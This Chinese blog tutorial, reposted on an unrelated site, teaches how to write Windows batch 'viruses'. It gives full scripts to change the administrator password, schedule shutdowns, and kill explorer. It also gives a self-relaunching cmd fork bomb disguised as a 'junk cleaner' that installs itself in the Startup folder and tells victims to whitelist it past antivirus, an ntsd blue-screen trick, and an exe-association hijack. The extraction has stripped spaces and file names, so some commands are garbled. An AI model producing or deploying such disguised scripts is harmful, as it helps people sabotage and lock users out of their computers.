金穗农机指南

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

admin 121

作者|杨秀璋

责编|夕颜

本文授权转载自CSDN博客专家Eastmount


一.关机bat脚本

计算机病毒(ComputerVirus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。

计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。计算机病毒是一个程序,一段可执行码。就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。

下面讲解第一个批处理脚本,主要是调用“shutdown”实现关机。其基本步骤如下:

新建文本文档

输入shutdown-s-t600

把txt改成bat

如下图所示,运行CMD可以查看shutdown命令的基本用法。


基本命令为:

1shutdown-s-t600
2//现在让系统600秒之后关机
3
4shutdown-a
5//终止关闭计算机

运行结果如下图所示:


新建“”并填写“shutdown-s-t600”,某些系统需要在“文件夹选项”中,显示“隐藏已知文件类型的扩展名”。


双击BAT文件即运行关机,如果需要取消,还是在CMD黑框中输入“shutdown-a”命令。



二.修改密码和定时关机病毒

接下来分享一个比较完整的病毒制作过程。

第一步,新建文件。


程序编写如下所示,其中“@echooff”表示关闭回显,“color0a”表示设置颜色。

1@echooff
2color0a
3titleEastmount程序
4
5echo===================================
6echo菜单
7echo1.修改管理员密码
8echo2.定时关机
9echo3.退出本程序
10echo===================================
11
12pause

运行结果如下图所示,可以看到标题为“Eastmount程序”,并且包含相关内容,这就是批处理文件执行过程。


第二步,做一个选择判断,该程序需要和用户进行互动。

核心代码为“set/pnum=您的选择是:”,其表示设置变量num,“/p”表示暂停并等待用户输入,用户最终输入的值赋为num。

1@echooff
2color0a
3titleEastmount程序
4
5echo===================================
6echo菜单
7echo1.修改管理员密码
8echo2.定时关机
9echo3.退出本程序
10echo===================================
11
12set/pnum=您的选择是:
13
14pause

输出结果如下图所示:


第三步,补充修改管理员密码、定时关机、退出等命令。

修改管理员密码的命令是微软所有系统的通用命令,下述代码是修改当前管理员密码为“123456”。

1netuseradministrator123456

第二个选项是关机,命令如下:

1shutdown-s-t100

第三个选项是退出本程序。

1exit

接着编写判断和跳转批处理代码,代码如下所示,“nul”表示不输出运行提示信息。

1@echooff
2color0a
3titleEastmount程序
4
5:menu
6echo===================================
7echo菜单
8echo1.修改管理员密码
9echo2.定时关机
10echo3.退出本程序
11echo===================================
12
13set/pnum=您的选择是:
14if"%num%"=="1"goto1
15if"%num%"=="2"goto2
16if"%num%"=="3"goto3
17
18:1
19netuseradministrator123456nul
20echo您的密码已经设置成功!
21pause
22gotomenu
23
24:2
25shutdown-s-t100
26gotomenu
27
28:3
29exit

此时输入“1”会提示系统错误,如下图所示:



接着增加“cls”命令清屏。同时,为了避免输入数字“4”会从头执行到尾,补充一个提示信息。代码修改如下:

1@echooff
2color0a
3titleEastmount程序
4
5:menu
6cls
7echo===================================
8echo菜单
9echo1.修改管理员密码
10echo2.定时关机
11echo3.退出本程序
12echo===================================
13
14set/pnum=您的选择是:
15if"%num%"=="1"goto1
16if"%num%"=="2"goto2
17if"%num%"=="3"goto3
18
19echo您好!请输入1-3正确的数字
20pause
21gotomenu
22
23:1
24netuseradministrator123456nul
25echo您的密码已经设置成功!
26pause
27gotomenu
28
29:2
30shutdown-s-t100
31gotomenu
32
33:3
34exit

此时运行如下图所示:


继续修改代码,补充设置的用户名和新密码,关机时间等。

1@echooff
2color0a
3titleEastmount程序
4
5:menu
6cls
7echo===================================
8echo菜单
9echo1.修改管理员密码
10echo2.定时关机
11echo3.退出本程序
12echo===================================
13
14set/pnum=您的选择是:
15if"%num%"=="1"goto1
16if"%num%"=="2"goto2
17if"%num%"=="3"goto3
18
19echo您好!请输入1-3正确的数字
20pause
21gotomenu
22
23:1
24set/pu=请输入用户名:
25set/pp=请输入新密码:
26netuser%u%%p%nul
27echo您的密码已经设置成功!
28pause
29gotomenu
30
31:2
32set/ptime=请输入时间:
33shutdown-s-t%time%
34gotomenu
35
36:3
37exit

以“管理员身份运行”后,成功修改“xiuzhang”用户的开机密码。


输入2可以设置关机时间,这里就不再赘述,第一部分已经详细讲解。


三.自启动死机病毒

接着编写一个伪装成“系统垃圾清理”的代码,它其实是一个导致系统死机的代码,也不能算是“病毒”,更多是一个恶作剧程序。其原理是不断打开CMD程序,占用系统资源从而导致死机,并且每次开机都会自动启。

第一步,在C:\windows目录下创建文件“”。一个“”表示覆盖文件内容,两个“”表示追加一句话至文件末尾。

1echostartcmdc:\windows\
2echo%0c:\windows\

用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪,%0是再次执行该程序的意思。但是,这样只能让用户死机一次,重启系统以后,不再打开这个文件以后,就不再会中招了。

第二步,将这个恶意脚本放到开机菜单中,每次开机都自动启动运行并导致电脑死机。

errorlevel为预定义变量,随着系统变化而变化。如果为0表示上一条命令执行成功,如果非0表示上一条命令执行失败,它不是Win7系统,而执行下面这条命令(XP系统、2003系统)。


代码“echo.”表示空行,比如代码:


输出结果如下图所示:


第三步,接着编写next区域代码,完整代码如下所示。

1@echooff
2title系统垃圾清理
3color2f
4echo=====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7
8echostartcmdc:\windows\
9::echo%%0c:\windows\
10
11copyc:\windows\"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\"nul
12if%errorlevel%==0gotonext
13
14copyc:\windows\"%USERPROFILE%\「开始」菜单\程序\启动\"nul
15if%errorlevel%==1gotoerror
16
17:next
18echo.
19echo.
20echo=====垃圾清理中,请不要关闭窗口=========
21echo.
22
23echo.
24echo=====垃圾清理完毕,共清理垃圾500M=======
25echo.
26echo.
27echo=====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo======程序运行失败,请【使用管理员权限】重新运行!========
34echo.
35pause

注意,我注释了重复操作代码“::echo%%0c:\windows\”,否则开机自启动很麻烦。接着运行代码,如下图所示,需要右键“以管理员身份运行”。


代码会在C:\windwos目录下创建批处理文件“”。


同时,在我的Win10系统开机自动动目录下也有该文件。

目录:…\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\


打开该文件可以看到写入的“startcmd”代码,表示打开CMD。


双击该“”文件,运行结果如下图所示。


总结:本文编写了一个系统清理工具,其实是把这个写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的,重复调用CMD占用资源。如果中了该病毒,用户可以使用PE到开启启动目录把文件删除,或者重装系统,再次建议大家别让它重复运行。


四.进程关闭病毒

再看一个伪装垃圾清理的批处理代码。该命令是杀死进程,“/”表示要杀死的进程名称,关闭桌面;“/f”表示强制杀死;“nul”表示在屏幕上不要输出任何信息。

1taskkill//fnul2nul

完整代码如下所示,其中“Startc:\windows\”表示继续开启桌面,“”用于消耗时间。

1@echooff
2title系统垃圾清理
3color2f
4echo=====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7echo.
8echo=====垃圾清理中,请不要关闭窗口=========
9echo.
10
11taskkill//fnul2nul
12echo.
13echo=====拐了,你的系统已经废了=======
14echo.
15
16echo.
17Startc:\windows\
18echo.
19echo=====已经修复好!是不是吓坏了!!O(∩_∩)O==========
20pause

运行该批处理程序,桌面会消失,如下图所示。


过一会桌面又会恢复。由于作者桌面东西太乱,这里仅显示壁纸展示。



五.最简单的蓝屏炸弹文件

新建文本文档

输入:,表示强制杀死进程

工具-文件夹选项-查看-“隐藏已知文件类型的扩展名”勾选

txt修改为bat

开始-程序-启动,打开文件

黑客很少攻击个人,一般攻击服务器,该命令对2003的服务器特别有杀伤力


双击之后,服务器直接蓝屏显示并重启。


ntsd从Windows2000开始就是系统自带的进程调试工具,在system32目录下。ntsd的功能非常的强大,用法也比较复杂,但如果只用来结束一些进程,那就比较简单了。在Windows中只有System、和不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。也不要杀掉,它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出,所以可以用来在命令行下终止进程。

打开cmd后输入以下命令就可以结束进程:

方法一:利用进程的PID结束进程

命令格式:ntsd-cq-ppid

命令范例:ntsd-cq-p1332(结束进程)

范例详解:的pid为1332,但是如何获取进程的pid呢?在CMD下输入TASKLIST就可以获取当前任务管理器所有进程的PID。或者打开任务管理器,在菜单栏,选择“查看”-“选择列”,在打开的选择项窗口中将“PID(进程标识符)”项选择钩上,这样任务管理器的进程中就会多出PID一项了。PID的分配并不固定,是在进程启动是由系统随机分配的,所以进程每次启动的进程一般都不会一样。

方法二:利用进程名结束进程

命令格式:(为进程名,exe不能省)

命令范例:

另外的能结束进程的DOS命令还有taskkill和tskill命令。


六.最简单的扩展名病毒

将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密,当你要打开文件时,需要密码,此时通过比特币付费进行勒索。

下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件,会认为它是一个txt文档,用记事本打开,导致可执行程序运行不起来,这是就是这个病毒的原理。

新建文本文档

增加代码:=txtfile

工具-文件夹选项-查看-“隐藏已知文件类型的扩展名”勾选

txt修改为bat

开始-程序-启动,打开bat文件

双击运行bat文件之后,我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序,把系统的关联搞混乱了,它恢复起来很麻烦。


EXE程序打开如下图所示。


甚至打开CMD都是TXT文本文件。


接着需要执行下面的命令还原exe文件。

=exefile

还原的代码及效果如下图所示。


1=txtfile
2=txtfile
3=txtfile
4=txtfile
5=txtfile
6=txtfile
7

解决方法:

如果您不幸中了该病毒,怎么解决呢?如下图所示,还原所有正确关联即可。


PS:还有一些病毒,比如VBS脚本、网页弹窗(网站钓鱼)等,这里不再讲解,推荐读者阅读前文“[网络安全自学篇]二十五.Web安全学习路线及木马、病毒和防御初探”。如果把病毒程序放到启动项,每次开机都会自动执行。




七.总结

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第44篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

侠之为大,为国为民。向一线医护人员、军人、工人、科学家和所有工作者致敬。咱们中国人一生的最高追求,为天地立心,为生民立命,为往圣继绝学,为万世开太平,他们真的做到了。生活哪有什么岁月静好,只不过这些人替我们负重前行。希望每一个人都健康平安,戴口罩不出门,勤洗手多吃饭。武汉加油,湖北加油,中国加油。众志成城,加油必胜!!!